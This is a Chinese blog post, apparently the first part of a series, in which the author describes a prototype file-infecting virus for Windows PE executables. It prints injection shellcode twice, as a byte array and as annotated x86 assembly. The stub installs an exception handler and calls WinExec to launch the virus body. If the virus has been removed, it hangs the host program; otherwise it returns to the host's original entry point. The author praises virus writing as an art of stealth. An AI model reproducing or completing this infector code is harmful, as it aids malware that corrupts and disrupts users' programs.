關于感染型病毒的那些事(一) 收藏 此文于2010-06-29被推薦到CSDN首頁
如何被推薦?
在我看來,感染型病毒才是真正稱得上為病毒,因為感染型病毒的手動清除比較困難,大學的時候,幫同學殺毒最煩躁的就是碰上感染型的病毒,除非寫一個程序自動處理,不然手動清除是相當麻煩的.當然我所謂的真正病毒主要是在我看來,能夠輕易用手工清除的病毒都不是好的病毒.現(xiàn)在病毒制造者追求的是快速的傳播速度,而忽略了病毒的"頑固性",一個木馬簡單的就使用一個啟動的注冊表項顯然在清理上太方便了,甚至可以進安全模式刪了注冊表項,連病毒尸體都可以無視,這樣就已經(jīng)不能發(fā)揮作用了.
隨著對PE格式的深入研究和高級語言的發(fā)展,編寫感染型的病毒已經(jīng)不再是只能用asm才能做到的.高級語言如VC同樣也可以完成,不過缺點就是編譯出來的病毒體太大.也是,現(xiàn)在的硬件水平,人們已經(jīng)不再在乎這10+KB的空間.但是,病毒編寫是一種藝術,這種藝術在于它的隱蔽性,短短的注入100byte,利用程序本身的空隙不增加程序的長度是這種藝術的體現(xiàn).當然,代碼長度的限制也必然導致注入代碼功能的減少.一個星期前寫了一個感染型病毒的雛形,寫下來當作是一種復習吧.
注入感染:
既然PE程序本身存在的空白可利用空間不大.那么采取一種折中的方式,在感染PE文件時,注入病毒文件的啟動代碼,這樣就節(jié)省了大部分空間,當檢查到病毒實體被清除后,可以采取破壞宿主程序運行流程的方式進行"示威"
view plaincopy to clipboardprint?
unsigned char InjectCode[] = {
0x68, 0x44, 0x33, 0x22, 0x11, 0x33, 0xC0, 0x64,
0xFF, 0x30, 0x64, 0x89, 0x20, 0x50, 0x68, 0x44,
0x33, 0x22, 0x11, 0xB8, 0x44, 0x33, 0x22, 0x11,
0xFF, 0xD0, 0x3C, 0x02, 0x74, 0x1E, 0x33, 0xC0,
0x64, 0x8F, 0x00, 0x5A, 0x68, 0x44, 0x33, 0x22,
0x11, 0xC3, 0x68, 0x44, 0x33, 0x22, 0x11, 0x8B,
0x44, 0x24, 0x0A, 0x8F, 0x80, 0xB8, 0x00, 0x00,
0x00, 0x33, 0xC0, 0xC3, 0xEB, 0xFE
};
/***********************************************
InjectCode[] =
__asm
{
PUSH 11223344H ;安裝SEH
XOR EAX,EAX
PUSH DWORD PTR FS:[EAX]
MOV DWORD PTR FS:[EAX],ESP
PUSH EAX ;uCmdShow
PUSH 11223344H ;lpCmdLine
MOV EAX,11223344H ;offset aWinExec
CALL EAX ;Call WinExec
CMP AL,2 ;判斷病毒存在與否
JE LABEL ;不存在則跳去死循環(huán)
XOR EAX,EAX ;卸載SEH
POP DWORD PTR FS:[EAX]
POP EDX
PUSH 11223344H ;宿主程序原OEP
RETN ;返回執(zhí)行
PUSH 11223344H ;SEH異常處理程序
MOV EAX,DWORD PTR [ESP+10]
POP DWORD PTR [EAX+0B8H] ;將宿主OEP作為安全地址返回
XOR EAX,EAX
RETN
LABEL:
JMP LABEL ;JMP -1(OxEBFE)
}
************************************************/
unsigned char InjectCode[] = {
0x68, 0x44, 0x33, 0x22, 0x11, 0x33, 0xC0, 0x64,
0xFF, 0x30, 0x64, 0x89, 0x20, 0x50, 0x68, 0x44,
0x33, 0x22, 0x11, 0xB8, 0x44, 0x33, 0x22, 0x11,
0xFF, 0xD0, 0x3C, 0x02, 0x74, 0x1E, 0x33, 0xC0,
0x64, 0x8F, 0x00, 0x5A, 0x68, 0x44, 0x33, 0x22,
0x11, 0xC3, 0x68, 0x44, 0x33, 0x22, 0x11, 0x8B,
0x44, 0x24, 0x0A, 0x8F, 0x80, 0xB8, 0x00, 0x00,
0x00, 0x33, 0xC0, 0xC3, 0xEB, 0xFE
};
/***********************************************
InjectCode[] =
__asm
{
PUSH 11223344H ;安裝SEH
XOR EAX,EAX
PUSH DWORD PTR FS:[EAX]
MOV DWORD PTR FS:[EAX],ESP
PUSH EAX ;uCmdShow
PUSH 11223344H ;lpCmdLine
MOV EAX,11223344H ;offset aWinExec
CALL EAX ;Call WinExec
CMP AL,2 ;判斷病毒存在與否
JE LABEL ;不存在則跳去死循環(huán)
XOR EAX,EAX ;卸載SEH
POP DWORD PTR FS:[EAX]
POP EDX
PUSH 11223344H ;宿主程序原OEP
RETN ;返回執(zhí)行
PUSH 11223344H ;SEH異常處理程序
MOV EAX,DWORD PTR [ESP+10]
POP DWORD PTR [EAX+0B8H] ;將宿主OEP作為安全地址返回
XOR EAX,EAX
RETN
LABEL:
JMP LABEL ;JMP -1(OxEBFE)
}
************************************************/
注入代碼就是下面_asm中匯編代碼的對應的機器碼.
這部分注入代碼的運行流程是:安裝SEH->WinExec()->判斷運行是否成功->不成功則進入死循環(huán),成功則返回宿主執(zhí)行
安裝SEH主要是為了保證注入感染后程序的健壯性,因為WinExec()的地址是硬編碼進去,如果換了系統(tǒng)容易導致異常,安裝SEH后如果出現(xiàn)異常也可以返回宿主代碼執(zhí)行.11223344H是占位地址,需要改成相應的地址.這里使用WinExec而不用CreateProcess主要是后者的函數(shù)參數(shù)太多,使用WinExec的實質也是調用CreateProcess,但是參數(shù)只有2個,節(jié)省了10多個字節(jié)的空間.并且由于我們已經(jīng)安裝了SEH,也不怕Winexec產生異常.
有了上面的注入代碼,搜集必要地址信息完善注入代碼后就可以進行感染.
To be continue...